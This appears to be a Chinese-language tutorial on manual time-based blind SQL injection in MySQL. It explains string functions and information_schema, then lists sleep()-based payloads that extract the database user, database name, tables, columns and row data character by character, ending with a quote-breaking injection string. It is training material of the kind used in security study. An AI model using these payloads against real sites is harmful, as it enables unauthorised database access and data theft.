一、CONCAT（）函数：CONCAT（）函数用于将一行里的多个字符串（属性）连接成一个字符串（新的属性）。
语法及使用特点：CONCAT(str1,str2,···)
返回结果为连接参数产生的字符串。如有任何一个参数为 NULL ， 则返回值为 NULL。可以有一个或多个参数。

二、使用函数 CONCAT_WS（）。使用语法为：CONCAT_WS(separator,str1,str2,···)
CONCAT_WS() 代表 CONCAT With Separator ，是 CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串，也可以是其它参数。如果分隔符为 NULL，则结果为 NULL。

三、GROUP_CONCAT（）函数：GROUP_CONCAT 函数返回一个字符串结果，该结果由分组中的值连接组合而成。（不同行中相同的属性拼接而成）

MySQL 中的 DATABASE()函数返回默认或当前数据库的名称。DATABASE()函数返回的字符串或名称使用 utf8 字符集。如果没有默认数据库，则 Database 函数返回 NULL。

`MID(string, start, length)` 从字符串中提取子字符串（从位置 5 开始，提取 3 个字符，第一个字符为位置 1）：MID()和 SUBSTR()都是 SUBSTRING()的同义词。

Mysql5.7 版本自带 4 个数据库，information_schema、mysql、performance_schema、sys。
INFORMATION_SCHEMA 提供对数据库元数据的访问

information_schema.tables 表: 此表存放了当前数据库管理系统下所有数据库的表，效果等同于所有数据库下 `show tables` 的合集。table_name 列：记录当前数据库管理系统中所有表的合集。

information_schema.columns 表：此表存放了当前数据库管理系统中所有的列名

LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数，第一个参数指定第一个返回记录行的偏移量，第二个参数指定返回记录行的最大数目。初始记录行的偏移量是 0(而不是 1)
SELECT * FROM table LIMIT 5,10; ------查询 6-15 的数据。第五行后面的 10 条数据
SELECT * FROM table LIMIT 5;------查询前五行数据

MySQL 中怎么查询一个库的表数
select count(table_name) from information_schema.tables where table_schema='dvwa'

MySQL 中怎么查询一张表的列数
select count(1) from information_schema.columns where table_schema='dbname' and table_name='tbname;

猜解当前数据库用户名

第一步：猜解用户名的长度。(猜解到的用户名长度用于下面的逐位猜解用户名)

and if((select length(user()))=长度,sleep(5),0)

第二步：逐位猜解用户名。

and if((select ascii(substr(user(),位数,1))=ascii 码),sleep(5),0)

猜解当前数据库名

第一步：猜解数据库名的长度。

and if((select length(database()))=长度,sleep(5),0)

第二步：猜解数据库名。

and if((select ascii(substr(database(),位数,1))=ascii 码),sleep(5),0)

猜表名

第一步：判断表名的数量 (以便逐个猜表名)

and if((select count(table_name) from information_schema.tables where table_schema=database())=个数,sleep(5),0)

第二步：判断某个表名的长度 (以便逐位猜表名的数据)

and if((select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度,sleep(5),0)

第三步：逐位猜表名

and if((select ascii(substr(table_name,位数,1)) from information_schema.tables where table_schema=database() limit n,1)=ascii 码,sleep(5),0)

猜列名

第一步：判断列名的数量 (以便逐个猜列名)

and if((select count(column_name) from information_schema.columns where table_name='表名')=个数,sleep(5),0)

第二步：判断某个列名的长度 (以便逐位猜列名的数据)

and if((select length(column_name) from information_schema.columns where table_name='表名' limit n,1)=长度,sleep(5),0)

第三步：逐位猜列名

and if((select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name='表名' limit n,1)=ascii 码,sleep(5),0)

猜数据

第一步：判断数据的数量 (以便逐个猜数据)

and if((select count(列名) from 表名)=个数,sleep(5),0)

第二步：判断某个数据的长度（以便逐位猜数据）
and if((select length(username) from admin limit 0,1)=5,sleep(5),0)

第三步：逐位猜数据
and if((select ascii(substr(username,1,1)) from admin limit 0,1)=97,sleep(5),0)

判断某个（第 n+1 个）列名的长度

```
and if((select length(column_name) from information_schema.columns where
table_name='表名' limit n,1)=长度,sleep(5),0)
```

一位位判断一个表的第 n+1 列的列名

```
select ascii(substr(column_name,位数,1)) from information_schema.columns
where table_name='表名' limit n,1
```

判断第 1 行（第一个样本）的字段长

```
and if((select length(username) from admin limit 0,1)=5,sleep(5),0)
```

一位位判断第 1 行（第一个样本）字段的值

```
and if((select ascii(substr(列名, 位数,1)) from admin limit 0,1)=97,sleep(5),0)
1' and ascii(substr((select user from users limit 0,1), 1,1))=97#
```

Mysql 手工盲注(延时注入) · 大专栏 (dazhuanlan.com)